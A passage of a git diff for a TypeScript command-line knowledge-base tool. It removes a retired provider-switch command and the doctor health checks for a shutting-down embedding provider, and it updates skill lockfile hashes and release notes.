+filesystem supporting enforceable Windows ACLs. Private-path enforcement
+failure is a refusal, not permission to continue with public staging.
+
+Restore only into an absent disposable root, reopen it in a fresh process and
+check remembered pages and required paths before relying on it. Review the
+reconnect inventory for unchanged legacy absolute origins and detached external
+sources. Keep restored scheduling and connectors inactive until separately
+approved. The archive is not encrypted and may contain secrets; never attach
+it to a public issue.
+
+This patch preserves compatible existing vectors but does not recreate vectors
+or pages already lost. The reported macOS reindex hang remains unresolved;
+Linux pressure evidence does not authorize checkpoint/reconnect workarounds,
+WAL repair, a live-store experiment or an automatic downgrade.
diff --git a/skills/skills.lock.json b/skills/skills.lock.json
index 51453cf366..20350ed45b 100644
--- a/skills/skills.lock.json
+++ b/skills/skills.lock.json
@@ -1,5 +1,5 @@
{
- "RESOLVER.md": "77aeac731ac52a4949a9a94618cd3c09be72c94259ff7568c57eb1124c225db8",
+ "RESOLVER.md": "d4a01e2475db5b7efe87d5a789947085c446d249fe90cdb87ff929117986f537",
"_AGENT_README.md": "0b755aa945df0da0f27cb3323904f54b99b3dfaf8065033e6cf9108ac4be38bb",
"_brain-filing-rules.json": "cf850df6a7425464c6d63b3ace71991cc93497fa0cc8cd21acd31883e17939c6",
"_brain-filing-rules.md": "23f5d08d705eb975b69611dbfbe878b7e4f3d0eec2470a52160372df8b462ad1",
@@ -125,14 +125,14 @@
"migrations/v0.33.0.md": "11710cb11d6eb7dc3ea54b764e3c4a25f8679cf76590acd330f97bfa1c684945",
"migrations/v0.33.3.0.md": "188a03ca86a97a9aa697cbbc83cc8ca37843fab24db2bd82f1383c400173d5bd",
"migrations/v0.34.0.0.md": "d421c5ecff0765ac1de3592d3175734db7df52e8658ec101567779c7c56c2db2",
- "migrations/v0.35.0.0.md": "a87d0f04f5d1d275c2f283c3736f0208bb9e24a540b0ffb79ec9d4c0de90e01f",
+ "migrations/v0.35.0.0.md": "b4cbc07fffaf4e291fcc035283d976498c5288da9b10ac7fc97947747acea150",
"migrations/v0.35.7.0.md": "c6d4454bd39e2aa243b3b3d9bc72fe5a4fd25d097be7be2bb14b25604b5c2cc5",
- "migrations/v0.36.2.0.md": "2b3b4cc0dc2e9611b0df9aea0a9cd4281433011c2d88433f768e762b28d56320",
- "migrations/v0.36.5.0.md": "a01a722202dfc3c799693596750c8bee611fe4dafe3cb662f6b4cd0b635cb429",
+ "migrations/v0.36.2.0.md": "18f72475a0c0de1489c518219128d331d8ed6b0cdcacfb329e18fbcc643d9c6e",
+ "migrations/v0.36.5.0.md": "889f42508c28835c99242ec20b610ab002f20cda821cb99039589a212cac2ce0",
"migrations/v0.40.3.0.md": "5f500f8c543c2b6f41778b0bd3beedada68f7284f7933ad8b769322b433a8fe9",
"migrations/v0.40.5.md": "b9837d52a030517698dfb31c439f562cde60a1015ae488dab09be2c16ff182e5",
"migrations/v0.41.11.0.md": "5c6873ab969d14def4a450d792f070f1259d08b3aca43bc7825d0a9114b2b36b",
- "migrations/v0.46.3.0.md": "9885b8ecf42c7388cda459f402f4b057cdf7ae7a0ee8ceb296784e6344575dc0",
+ "migrations/v0.46.3.0.md": "82e0ce4cf96700332235f4d4307697651fe7376af5b5c1e88331ccbdbd3abc86",
"migrations/v0.46.35.0.md": "145c841d89c4b6b6f7089126354fae272df7db6ceaf9cfcec2797d3301cdab57",
"migrations/v0.48.3.0.md": "1d9a23b6078164717944c94791b18effc7af630b716e8fde2680d6b6de47ce81",
"migrations/v0.49.0.0.md": "adf719246c3d6bcc7a1e5d24badb9968fe636651183a75c18d534e16aaa33ee8",
@@ -146,6 +146,7 @@
"migrations/v0.52.2.0.md": "07568b099264e56f909f46eb417c4a512788e893e8ae6080423ad6ae06918076",
"migrations/v0.53.0.0.md": "117461f687ea33e0ba2a952aecd00b9d2085a2a0562d2b1b50145dad0a5a4728",
"migrations/v0.54.1.0.md": "ceee87cfc7bb28036e9cadb5b70b7ec9eabcce6d445e259f3ee410a95fe69603",
+ "migrations/v0.56.2.0.md": "e88f04a5deaef82ebb8bd194aec931f26e69e87687098eb64b94666931b5e319",
"migrations/v0.7.0.md": "97c2740445a10b1c5c7123c17dbd625fa27a94095b85d27c2b278da756c4c59a",
"migrations/v0.8.0.md": "1919ff8b8f3680612ff888e7cfcc0d86ece5d5304ae19af4497bdf40b050561a",
"migrations/v0.8.1.md": "fad7341cfb5e02545fb8a23221d12ab395fc3d8db15d1d8ee8a18844aea6563a",
diff --git a/src/cli.ts b/src/cli.ts
index e908212d93..52f91d98cc 100755
--- a/src/cli.ts
+++ b/src/cli.ts
@@ -82,7 +82,7 @@ export function normalizeLocalResult(rawResult: unknown): unknown {
}
// CLI-only commands that bypass the operation layer
-export const CLI_ONLY = new Set(['mcp', 'init', 'reinit-pglite', 'pglite-repair', 'upgrade', 'post-upgrade', 'check-update', 'integrations', 'publish', 'check-backlinks', 'lint', 'report', 'import', 'export', 'files', 'embed', 'serve', 'call', 'config', 'doctor', 'migrate', 'eval', 'sync', 'extract', 'extract-conversation-facts', 'enrich', 'features', 'autopilot', 'graph-query', 'jobs', 'agent', 'apply-migrations', 'skillpack-check', 'skillpack', 'resolvers', 'integrity', 'repair-jsonb', 'orphans', 'maintain', 'sources', 'mounts', 'dream', 'check-resolvable', 'routing-eval', 'skillify', 'smoke-test', 'providers', 'storage', 'repos', 'code-def', 'code-refs', 'reindex', 'reindex-code', 'reindex-frontmatter', 'code-callers', 'code-callees', 'reconcile-links', 'frontmatter', 'auth', 'friction', 'claw-test', 'book-mirror', 'takes', 'think', 'salience', 'anomalies', 'calibration', 'transcripts', 'models', 'remote', 'recall', 'forget', 'edges-backfill', 'cache', 'ze-switch', 'retrieval-upgrade', 'founder', 'brainstorm', 'lsd', 'schema', 'capture', 'onboard', 'conversation-parser', 'status', 'connect', 'connectors', 'skillopt', 'quarantine', 'self-upgrade', 'protocol', 'advisor', 'watch', 'reindex-search-vector', 'pages', 'bench', 'backfill',
+export const CLI_ONLY = new Set(['mcp', 'init', 'reinit-pglite', 'pglite-repair', 'upgrade', 'post-upgrade', 'check-update', 'integrations', 'publish', 'check-backlinks', 'lint', 'report', 'import', 'export', 'files', 'embed', 'serve', 'call', 'config', 'doctor', 'migrate', 'eval', 'sync', 'extract', 'extract-conversation-facts', 'enrich', 'features', 'autopilot', 'graph-query', 'jobs', 'agent', 'apply-migrations', 'skillpack-check', 'skillpack', 'resolvers', 'integrity', 'repair-jsonb', 'orphans', 'maintain', 'sources', 'mounts', 'dream', 'check-resolvable', 'routing-eval', 'skillify', 'smoke-test', 'providers', 'storage', 'repos', 'code-def', 'code-refs', 'reindex', 'reindex-code', 'reindex-frontmatter', 'code-callers', 'code-callees', 'reconcile-links', 'frontmatter', 'auth', 'friction', 'claw-test', 'book-mirror', 'takes', 'think', 'salience', 'anomalies', 'calibration', 'transcripts', 'models', 'remote', 'recall', 'forget', 'edges-backfill', 'cache', 'retrieval-upgrade', 'founder', 'brainstorm', 'lsd', 'schema', 'capture', 'onboard', 'conversation-parser', 'status', 'connect', 'connectors', 'skillopt', 'quarantine', 'self-upgrade', 'protocol', 'advisor', 'watch', 'reindex-search-vector', 'pages', 'bench', 'backfill',
// v0.42.58 (#2035 class, caught by the handleCliOnly reachability sweep):
// full handler at `case 'notability-eval'` but never dispatchable.
'notability-eval',
@@ -195,9 +195,6 @@ const CLI_ONLY_SELF_HELP = new Set([
// is in CLI_ONLY but not CLI_ONLY_SELF_HELP, so the dispatcher's generic
// short-circuit fires and the printInitHelp() guard in init.ts is dead code.
'init',
- // #3390 — `gbrain migrate embeddings --help` / `gbrain retrieval-upgrade
- // --help` print the migration flags from runMigrateEmbeddings. `migrate`
- // (engine transfer) keeps its own dispatch too.
'migrate', 'retrieval-upgrade',
// Agent-bootstrap family: each prints its own detailed usage (BOOTSTRAP_HELP
// in bootstrap.ts, the hook USAGE block, SWEEP_HELP). Omitting them here
@@ -232,9 +229,6 @@ const CLI_ONLY_SELF_HELP = new Set([
// webhook, harden, ...). That made the pointer circular and those
// subcommands undiscoverable from the CLI in either direction.
'sources',
- // ZE interim cleanup: the retired ze-switch shim ships truthful help
- // (sunset refusal + canonical migration command); the generic stub hid it.
- 'ze-switch',
// `gbrain takes --help` printed the generic one-line stub, so the nine
// subcommands (add/update/supersede/resolve/scorecard/calibration/revisit/
// extract/search) were undiscoverable from the CLI — the detailed usage
@@ -299,9 +293,6 @@ const SELF_HELP_WITHOUT_ENGINE: Record<string, () => Promise<(engine: never, arg
// runAgent accepts BrainEngine | null; help (incl. `register --help`) is
// answered before any engine or job-queue work (cathedral-6).
agent: async () => (await import('./commands/agent.ts')).runAgent as never,
- // The retired ze-switch shim answers --help engine-free (arg-order adapter
- // lives in ze-switch.ts because runZeSwitch takes (args, engine)).
- 'ze-switch': async () => (await import('./commands/ze-switch.ts')).runZeSwitchSelfHelp as never,
};
/** Returns true when the command's own help was printed. */
@@ -858,7 +849,6 @@ async function main() {
}
}
-
function hasHelpFlag(args: string[]): boolean {
return args.includes('--help') || args.includes('-h');
}
@@ -2167,10 +2157,6 @@ async function handleCliOnly(command: string, args: string[]) {
return;
}
if (command === 'bench') {
- // #3502 sweep: `gbrain bench publish` was documented (docs/eval-bench.md,
- // KEY_FILES.md, and eval-gate's own --help text) but never dispatched —
- // the promised-but-unwired class retrieval-upgrade (#3390) fixed before.
- // Pure file-in/file-out (NDJSON → baseline); no DB, no engine.
if (args[0] === 'publish') {
const { runBenchPublish } = await import('./commands/bench-publish.ts');
await runBenchPublish(args.slice(1));
@@ -2516,44 +2502,7 @@ async function handleCliOnly(command: string, args: string[]) {
return;
}
- if (command === 'ze-switch') {
- // Retired refusal/redirect shim. Only --undo reads the brain (one config
- // row); every other invocation must refuse EVEN ON an unconfigured
- // machine — connecting unconditionally turned the refusal into
- // "No brain configured" and starved --json callers of the envelope.
- const { runZeSwitch } = await import('./commands/ze-switch.ts');
- if (!args.includes('--undo')) {
- await runZeSwitch(args, null);
- return;
- }
- // --undo reads one config row. An unconfigured machine (or a failed
- // connect) must still get the shim's truthful --json refusal envelope —
- // connectEngine would print plain "No brain configured" and exit before
- // the shim ran, so pre-check the config and degrade to a null engine
- // (the shim words that as a read failure).
- if (!loadConfig()) {
- await runZeSwitch(args, null);
- return;
- }
- let eng: BrainEngine | null = null;
- try {
- eng = await connectEngine();
- } catch {
- await runZeSwitch(args, null);
- return;
- }
- try {
- await runZeSwitch(args, eng);
- } finally {
- await finishCliTeardown({ engine: eng });
- }
- return;
- }
-
if (command === 'compile-context') {
- // cathedral-5: deterministic compiled-context views. Owns its engine
- // lifecycle (ze-switch pattern); the module returns the exit verdict
- // (0 ok, 1 check found a difference, 2 error — no partial writes).
const { runCompileContext } = await import('./commands/compile-context.ts');
const eng = await connectEngine();
try {
@@ -3164,8 +3113,6 @@ async function handleCliOnly(command: string, args: string[]) {
break;
}
case 'retrieval-upgrade': {
- // The command README.md + doctor.ts promised since v0.36 but never
- // dispatched. Alias for `migrate embeddings` (#3390).
const { runMigrateEmbeddings } = await import('./commands/migrate-embeddings.ts');
await runMigrateEmbeddings(engine, args);
break;
diff --git a/src/commands/config.ts b/src/commands/config.ts
index 5461680d07..2d4806301b 100644
--- a/src/commands/config.ts
+++ b/src/commands/config.ts
@@ -117,7 +117,6 @@ async function restampVisibilityPosture(newRaw: string | null): Promise<void> {
export const FILE_PLANE_API_KEYS: readonly string[] = [
'openai_api_key',
'anthropic_api_key',
- 'zeroentropy_api_key',
'openrouter_api_key',
'voyage_api_key',
'dashscope_api_key',
diff --git a/src/commands/doctor.ts b/src/commands/doctor.ts
index d37cc40e4b..b55865da1b 100644
--- a/src/commands/doctor.ts
+++ b/src/commands/doctor.ts
@@ -98,8 +98,6 @@ export {
export {
checkGraphSignalsCoverage,
checkBrainstormHealth,
- checkZeEmbeddingHealth,
- checkProviderSunset,
checkEmbeddingWidthConsistency,
checkFactsEmbeddingWidthConsistency,
checkJunkEntityHubs,
@@ -190,8 +188,6 @@ import {
import {
checkGraphSignalsCoverage,
checkBrainstormHealth,
- checkZeEmbeddingHealth,
- checkProviderSunset,
checkEmbeddingWidthConsistency,
checkFactsEmbeddingWidthConsistency,
checkJunkEntityHubs,
@@ -2472,11 +2468,6 @@ export async function buildChecks(
});
}
- // 8b. v0.41.2.1 embedding_env_override (D9 #9 — uses Check.details, NOT
- // Check.issues). Defense in depth for users who bypass ze-switch
- // entirely; surfaces on every hourly doctor run when env disagrees
- // with DB config. Mirrored in doctorReportRemote() via the shared
- // checkEmbeddingEnvOverride() helper.
progress.heartbeat('embedding_env_override');
checks.push(await checkEmbeddingEnvOverride(engine));
@@ -4037,14 +4028,6 @@ export async function buildChecks(
// budget so a huge brain never wedges doctor on this check.
progress.heartbeat('link_resolution_opportunity');
checks.push(await checkLinkResolutionOpportunity(engine, progress));
- // v0.36.0.0 (A5): ZE embedding key health + schema/config width consistency.
- progress.heartbeat('ze_embedding_health');
- checks.push(await checkZeEmbeddingHealth(engine));
- // provider_sunset — brain pinned to a provider with an announced
- // hosted-API shutdown; paste-ready migration hint with the actual
- // column width. Warn before the date, fail after.
- progress.heartbeat('provider_sunset');
- checks.push(await checkProviderSunset(engine));
progress.heartbeat('embedding_width_consistency');
checks.push(await checkEmbeddingWidthConsistency(engine));
// v0.41.15.0 (T6, codex #19/#20) — facts.embedding column drift
diff --git a/src/commands/doctor/checks/calibration.ts b/src/commands/doctor/checks/calibration.ts
index e1fa2955c5..17847c2738 100644
--- a/src/commands/doctor/checks/calibration.ts
+++ b/src/commands/doctor/checks/calibration.ts
@@ -577,28 +577,6 @@ export async function checkVoiceGateHealth(engine: BrainEngine): Promise<Check>
}
}
-/**
- * v0.35.0.0+ reranker_health doctor check.
- *
- * Logic (post-CDX2 review):
- * 1) Read `search.reranker.enabled` first. When disabled and no
- * failures in window → 'ok: reranker disabled'. Avoids interpreting
- * "no events" as "broken" when reranker is simply not in use.
- * 2) Walk last 7 days of `~/.gbrain/audit/rerank-failures-*.jsonl`.
- * 3) Auth failures (key present but rejected): ANY single one warns.
- * v0.48.2: enablement + model resolve through the mode plane; a
- * reranker that is enabled but NOT ready (key absent / provider past
- * sunset / unknown model) warns with the paste-ready fix BEFORE any
- * audit read, and `no_key` / `sunset_short_circuit` skip rows warn.
- * 4) Transient (network/timeout/rate_limit): warn at >=5 in window.
- * Below that they're noise; reranker fails open anyway.
- * 5) Payload-too-large failures: warn at >=1 (indicates a workload
- * mismatch that the operator should know about).
- * 6) Budget/pricing failures: warn at >=1 with the rerank pricing surface
- * and --max-cost escape hatch.
- *
- * Engine-agnostic (file-based + one config-key read).
- */
export async function checkRerankerHealth(engine: BrainEngine, now: Date = new Date()): Promise<Check> {
try {
const { readRecentRerankFailures } = await import('../../../core/rerank-audit.ts');
@@ -615,7 +593,7 @@ export async function checkRerankerHealth(engine: BrainEngine, now: Date = new D
// Same config plane the CLI hands the gateway (env > file > DB-plane
// provider keys + provider_base_urls) — shared with `gbrain search modes`
// through rerankerReadinessForEngine so the two surfaces cannot drift.
- const { readiness } = await rerankerReadinessForEngine(engine, model, { now });
+ const { readiness } = await rerankerReadinessForEngine(engine, model);
const ready = readiness.ready;
// A brain with NO embedding provider never reaches the reranker (search
@@ -656,16 +634,9 @@ export async function checkRerankerHealth(engine: BrainEngine, now: Date = new D
: ''),
};
}
- // Only the RESOLVED model's rows count: audit rows for a retired default
- // (e.g. the pre-v0.48.2 ZeroEntropy model) must not make a healthy Voyage
- // reranker warn — or send the operator to verify the wrong key.
const allRows = readRecentRerankFailures(7).filter((f) => f.model === model);
- // Skip rows (no_key / sunset_short_circuit) describe processes that ran
- // unreranked BEFORE the current state; readiness above already proves the
- // current state, so once ready they are informational, never a warn (a
- // warn here would outlive the fix by the 7-day audit window).
- const skipRows = allRows.filter((f) => f.reason === 'no_key' || f.reason === 'sunset_short_circuit');
- const failures = allRows.filter((f) => f.reason !== 'no_key' && f.reason !== 'sunset_short_circuit');
+ const skipRows = allRows.filter((f) => f.reason === 'no_key');
+ const failures = allRows.filter((f) => f.reason !== 'no_key');
const readyNote = `Reranker ${model} ready${readiness.requiredKey ? ` (${readiness.requiredKey} present)` : ''}`;
if (rerankerEnabled && skipRows.length > 0 && failures.length === 0) {
const reasons = Array.from(new Set(skipRows.map((f) => f.reason))).join(', ');
@@ -748,7 +719,6 @@ export async function checkRerankerHealth(engine: BrainEngine, now: Date = new D
const setupHint = unknownFails.some((f) => {
const summary = String(f.error_summary ?? '');
return (
- summary.includes('ZEROENTROPY_API_KEY') ||
summary.includes('VOYAGE_API_KEY') ||
summary.toLowerCase().includes('api key')
);
@@ -776,4 +746,3 @@ export async function checkRerankerHealth(engine: BrainEngine, now: Date = new D
};
}
}
-
diff --git a/src/commands/doctor/checks/graph-embedding.ts b/src/commands/doctor/checks/graph-embedding.ts
index 4166626d78..33a94ce362 100644
--- a/src/commands/doctor/checks/graph-embedding.ts
+++ b/src/commands/doctor/checks/graph-embedding.ts
@@ -4,7 +4,6 @@
* under its original name (tests and external callers import them from
* doctor.ts) and buildChecks / doctorReportRemote consume them.
*/
-import { isZeroEntropyModel, NEW_INSTALL_DEFAULT_RERANKER_MODEL } from '../../../core/ai/defaults.ts';
import { loadConfigFileOnly } from '../../../core/config.ts';
import type { BrainEngine } from '../../../core/engine.ts';
import type { Check } from '../../doctor.ts';
@@ -221,244 +220,6 @@ export async function checkBrainstormHealth(engine: BrainEngine): Promise<Check>
}
}
-/**
- * v0.36.0.0 (A5): ze_embedding_health doctor check.
- *
- * When the configured embedding_model starts with `zeroentropyai:`, verify
- * the API key is set. Doesn't make a network call by default — the existing
- * `gbrain models doctor` probe covers that, and we don't want every
- * `gbrain doctor` run to spend tokens. Surfaces a paste-ready fix when the
- * key is missing.
- */
-export async function checkZeEmbeddingHealth(engine: BrainEngine): Promise<Check> {
- try {
- if (loadConfigFileOnly()?.embedding_disabled === true) {
- return { name: 'ze_embedding_health', status: 'ok', message: 'Embeddings disabled — provider setup deferred.' };
- }
- // v0.37 fix wave (Lane E.3 + CDX2-10): read from gateway, not DB.
- // The file plane is canonical post-v0.37; the DB config table is
- // schema-applied metadata. Reading DB here would skip the warning
- // when the user has a fresh install with no DB config row yet.
- const { getEmbeddingModel } = await import('../../../core/ai/gateway.ts');
- let model = '';
- try { model = getEmbeddingModel(); } catch { /* gateway unconfigured */ }
- if (!isZeroEntropyModel(model)) {
- return {
- name: 'ze_embedding_health',
- status: 'ok',
- message: `Configured embedding model "${model || 'default'}" is not ZeroEntropy — skip.`,
- };
- }
- const envKey = process.env.ZEROENTROPY_API_KEY;
- // File plane: zeroentropy_api_key on GBrainConfig (added by C.3).
- const fileKey = loadConfigFileOnly()?.zeroentropy_api_key;
- if (!envKey && !fileKey) {
- // Migration-first: when the provider has an announced shutdown, the fix
- // for a missing key is to migrate OFF, not to sign up. The key path
- // survives as the secondary note for someone who needs the remaining
- // hosted window. (Generic on recipe.sunset so the copy self-corrects if
- // the recipe ever changes; the whole check is deleted in v0.47.)
- const { getRecipe } = await import('../../../core/ai/recipes/index.ts');
- const sunset = getRecipe('zeroentropyai')?.sunset;
- if (sunset) {
- const { renderCanonicalMigrationCommands } = await import('../../../core/ai/defaults.ts');
- return {
- name: 'ze_embedding_health',
- status: 'warn',
- message:
- `embedding_model="${model}" but ZEROENTROPY_API_KEY is not set — and the ` +
- `hosted API shuts down on ${sunset.date}. Fix: migrate off it: ` +
- `${renderCanonicalMigrationCommands().recommendedDryRun}. If you need hosted ` +
- `ZeroEntropy for the remaining weeks, set the key via ` +
- `\`export ZEROENTROPY_API_KEY=...\` or "zeroentropy_api_key" in ` +
- `~/.gbrain/config.json (gbrain config set writes the DB plane, which the embed pipeline ignores).`,
- };
- }
- return {
- name: 'ze_embedding_health',
- status: 'warn',
- message:
- `embedding_model="${model}" but ZEROENTROPY_API_KEY is not set. ` +
- `Fix: \`export ZEROENTROPY_API_KEY=...\` or edit ~/.gbrain/config.json ` +
- `to add "zeroentropy_api_key": "...". (gbrain config set writes the DB plane, which the embed pipeline ignores.)`,
- };
- }
- return {
- name: 'ze_embedding_health',
- status: 'ok',
- message: `embedding_model="${model}" with key configured`,
- };
- } catch (e) {
- const msg = e instanceof Error ? e.message : String(e);
- return {
- name: 'ze_embedding_health',
- status: 'warn',
- message: `Could not check ZE embedding health: ${msg}`,
- };
- }
-}
-
-/**
- * provider_sunset doctor check (#3390 follow-up).
- *
- * Detects a brain whose EFFECTIVE embedding model (gateway-resolved, which is
- * how default-config brains land on the shipped default) is on a provider
- * with an announced hosted-API shutdown, and prints a paste-ready migration
- * command with the brain's ACTUAL `content_chunks.embedding` column width
- * filled in — not the config value, which can drift. Keeping the current
- * width avoids a needless dimension transition + index rebuild when the
- * target supports it.
- *
- * Unlike the one-shot upgrade banner (`ze_sunset_notice_shown`), this fires
- * on every `gbrain doctor` run until the brain is off the provider —
- * warn before the shutdown date; fail after it ONLY when the brain is
- * actually exposed (embedded vectors exist in the affected column, so
- * retrieval is genuinely down). A zero-vector brain whose config merely
- * RESOLVES to the dead default stays warn — otherwise every stock fresh
- * install (and every doctor-as-CI-gate) starts exiting 1 on the date with
- * no code change. Suppress entirely (accepted-risk installs) via
- * `gbrain config set doctor.suppress_provider_sunset true`.
- * No network call; one catalog query for the column width.
- *
- * `now` is injectable so tests can pin BOTH sides of the date without
- * waiting for the calendar (the date itself is a compile-time constant).
- */
-export async function checkProviderSunset(engine: BrainEngine, now: number = Date.now()): Promise<Check> {
- const name = 'provider_sunset';
- try {
- const suppressed = await engine.getConfig('doctor.suppress_provider_sunset').catch(() => null);
- if (suppressed === 'true' || suppressed === '1') {
- return {
- name,
- status: 'ok',
- message: 'Check suppressed via doctor.suppress_provider_sunset (unset it to re-enable).',
- };
- }
- const { DEFAULT_EMBEDDING_MODEL, ZEROENTROPY_SUNSET_DATE, sunsetDateHasPassed } = await import('../../../core/ai/defaults.ts');
- // Effective model: gateway when configured (file/env plane, the runtime
- // truth); the shipped default otherwise — an unset-config brain resolves
- // to the default at runtime, so it is just as affected.
- let model = DEFAULT_EMBEDDING_MODEL;
- try {
- const { getEmbeddingModel } = await import('../../../core/ai/gateway.ts');
- model = getEmbeddingModel();
- } catch {
- // Gateway unconfigured — runtime resolves the shipped default.
- }
- // Effective reranker: resolve through the SAME plane search actually
- // reranks with — resolveSearchMode (mode bundle + search.reranker.*
- // config overrides; hybrid.ts passes `resolvedMode.reranker_model`).
- // The gateway plane is unset by default while balanced/tokenmax rerank
- // with the bundle's zeroentropyai model — reading the gateway here
- // would false-ok the exact brains this check exists to protect.
- let reranker: string | undefined;
- try {
- const { loadSearchModeConfig, resolveSearchMode } = await import('../../../core/search/mode.ts');
- const knobs = resolveSearchMode(await loadSearchModeConfig(engine));
- if (knobs.reranker_enabled) reranker = knobs.reranker_model;
- } catch {
- // Mode resolution failed — make no reranker-exposure claim.
- }
- const embeddingDisabled = loadConfigFileOnly()?.embedding_disabled === true;
- const onSunsetEmbedding = !embeddingDisabled && isZeroEntropyModel(model);
- const onSunsetReranker = isZeroEntropyModel(reranker);
- // Custom embedding columns can route queries through a ZE-backed model
- // even when the primary embedding + reranker are clear — without this arm
- // the check reports ok while those columns die on the date.
- let zeColumns: string[] = [];
- try {
- const { detectZeCustomColumns } = await import('../../../core/ze-exposure.ts');
- zeColumns = (await detectZeCustomColumns(engine)).columns;
- } catch {
- // Probe failed — make no custom-column claim.
- }
- const onSunsetColumns = zeColumns.length > 0;
- if (!onSunsetEmbedding && !onSunsetReranker && !onSunsetColumns) {
- return {
- name,
- status: 'ok',
- message: `No configured provider has an announced shutdown (embedding: ${embeddingDisabled ? 'disabled' : model}).`,
- };
- }
- // Shared date-itself-counts comparison with the gateway's rerank
- // short-circuit (defaults.ts:sunsetDateHasPassed) — the two cannot drift.
- const past = sunsetDateHasPassed(ZEROENTROPY_SUNSET_DATE, new Date(now));
- const parts: string[] = [];
- let hasVectors = false;
- if (onSunsetEmbedding) {
- let dims: number | null = null;
- try {
- const { readContentChunksEmbeddingDim } = await import('../../../core/embedding-dim-check.ts');
- dims = (await readContentChunksEmbeddingDim(engine)).dims;
- } catch {
- // Column probe failed (fresh/odd brain) — omit --dim from the hint.
- }
- try {
- const rows = await engine.executeRaw(
- `SELECT 1 AS one FROM content_chunks WHERE embedding IS NOT NULL LIMIT 1`,
- );
- hasVectors = rows.length > 0;
- } catch {
- // Probe failed (fresh/odd brain) — no exposure claim, warn-only.
- }
- parts.push(
- past
- ? hasVectors
- ? `embedding_model="${model}": the hosted API shut down on ${ZEROENTROPY_SUNSET_DATE} — semantic retrieval is offline (queries can no longer be embedded against your existing vectors).`
- : `embedding_model="${model}": the hosted API shut down on ${ZEROENTROPY_SUNSET_DATE}. No embedded vectors exist yet, so retrieval is not impacted — but embedding will fail until the config points elsewhere.`
- : `embedding_model="${model}": the hosted API shuts down on ${ZEROENTROPY_SUNSET_DATE}. On that date semantic retrieval stops entirely — existing vectors become unqueryable (query embedding uses the same endpoint), not just new content.`,
- );
- // v0.46.3: the paste-ready fix is TARGET-AWARE on dimensions via the
- // canonical renderer (defaults.ts) — Voyage's valid widths are
- // {256, 512, 1024, 2048}, so the recommended command always carries
- // --dim 1024; the keep-width OpenAI form renders only when valid there.
- const { renderCanonicalMigrationCommands } = await import('../../../core/ai/defaults.ts');
- const cmds = renderCanonicalMigrationCommands({ colDims: dims ?? null });
- parts.push(
- `Two fixes, either works: ` +
- `[1] self-host the same model — zembed-1 weights are Apache-2.0; keep the zeroentropyai:zembed-1 id and point provider_base_urls.zeroentropyai at a ZE-wire-compatible endpoint (NOT a generic OpenAI-compatible server — the id speaks ZE's /models/embed dialect). Keeps every existing vector, no re-embed (docs/guides/embedding-migration.md). ` +
- `[2] migrate (resumable; preview cost first): ${cmds.recommendedDryRun}` +
- (cmds.note ? ` ${cmds.note}` : '') +
- (cmds.openaiAlternative ? ` Keep-width alternative: ${cmds.openaiAlternative}.` : ''),
- );
- }
- if (onSunsetReranker) {
- parts.push(
- `The reranker (${reranker}) is on the same provider; after the shutdown search falls back to unreranked ordering. ` +
- `Fix: gbrain config set search.reranker.model ${NEW_INSTALL_DEFAULT_RERANKER_MODEL} (needs VOYAGE_API_KEY), or disable: gbrain config set search.reranker.enabled false.`,
- );
- }
- if (onSunsetColumns) {
- parts.push(
- `Custom embedding column(s) backed by the shutting-down provider: ${zeColumns.join(', ')}. ` +
- `No automated off-ramp exists for custom columns yet (migrate embeddings covers the primary column only) — ` +
- `re-declare them on a new provider and re-embed (skills/migrations/v0.46.3.0.md).`,
- );
- }
- if (onSunsetEmbedding || onSunsetReranker || onSunsetColumns) {
- parts.push('Accepted the risk? Silence this check: gbrain config set doctor.suppress_provider_sunset true');
- }
- // fail = retrieval is ACTUALLY down (past the date AND embedded vectors
- // exist on the dead provider). Reranker-only exposure stays warn — search
- // fails open to unreranked ordering (degraded, not down).
- const failNow = past && onSunsetEmbedding && hasVectors;
- return { name, status: failNow ? 'fail' : 'warn', message: parts.join(' ') };
- } catch (e) {
- const msg = e instanceof Error ? e.message : String(e);
- return { name, status: 'warn', message: `Could not check provider sunset status: ${msg}` };
- }
-}
-
-/**
- * v0.36.0.0 (A5): embedding_width_consistency doctor check.
- *
- * Cross-checks that `config.embedding_dimensions` matches the actual
- * `vector(N)` width on `content_chunks.embedding`. Drift means a width
- * transition was interrupted mid-flight (schema changed but config write
- * crashed, or vice versa). Surfaces the engine-kind-branched recovery recipe
- * from embeddingMismatchMessage — NOT a ze-switch hint; that command is a
- * refusal shim now.
- */
export async function checkEmbeddingWidthConsistency(engine: BrainEngine): Promise<Check> {
try {
if (loadConfigFileOnly()?.embedding_disabled === true) {
@@ -544,23 +305,6 @@ export async function checkEmbeddingWidthConsistency(engine: BrainEngine): Promi
}
}
-/**
- * v0.41.15.0 (T6, codex #19/#20) — facts.embedding column drift check.
- *
- * Parallel surface to `checkEmbeddingWidthConsistency` but for the
- * facts table. Migration v40 creates `facts.embedding` from
- * `config.embedding_dimensions` AT MIGRATION TIME — if the user later
- * swaps embedding providers (e.g. OpenAI 1536 → zembed-1 1280) without
- * re-running migrations, the column width drifts. The first insert
- * dies with the opaque pgvector "expected vector(N), got vector(M)"
- * error.
- *
- * Covers BOTH vector(N) AND halfvec(N) shapes (codex #19 — v40 falls
- * back to vector on pgvector < 0.7). Surfaces the paste-ready DROP
- * INDEX → ALTER USING → CREATE INDEX recipe from
- * `buildFactsAlterRecipe` instead of the unsafe REINDEX-only path
- * codex #18 caught in the original plan.
- */
export async function checkFactsEmbeddingWidthConsistency(engine: BrainEngine): Promise<Check> {
// PGLite ships a single pgvector version; column + config wire
// together at initSchema time. No possible drift.
@@ -646,7 +390,6 @@ export async function checkFactsEmbeddingWidthConsistency(engine: BrainEngine):
}
}
-
// ---------------------------------------------------------------------------
// #4222 junk_entity_hubs — near-empty entity pages with huge edge counts
// ---------------------------------------------------------------------------
diff --git a/src/commands/doctor/checks/search-eval.ts b/src/commands/doctor/checks/search-eval.ts
index 319c03b104..1a80494a05 100644
--- a/src/commands/doctor/checks/search-eval.ts
+++ b/src/commands/doctor/checks/search-eval.ts
@@ -58,18 +58,6 @@ export async function checkChatFallbackChainInert(
* `gbrain search modes --reset` consolidation command whenever per-key
* overrides exist.
*
- * #3657/#4382 sunset amendment: the reset advice was a foot-gun on brains
- * whose overrides exist precisely to hold the reranker OFF the sunsetting
- * mode-bundle default — `--reset` clears `search.reranker.*` (they are in
- * SEARCH_MODE_CONFIG_KEYS) while preserving `search.mode`, silently
- * re-arming a provider gbrain itself knows is shutting down. So:
- * - the ACTIVE resolved reranker (mode bundle + overrides, the same
- * plane hybrid search reranks with) matching RERANKER_SUNSETS → WARN
- * with the sunset date + the paste-ready replacement;
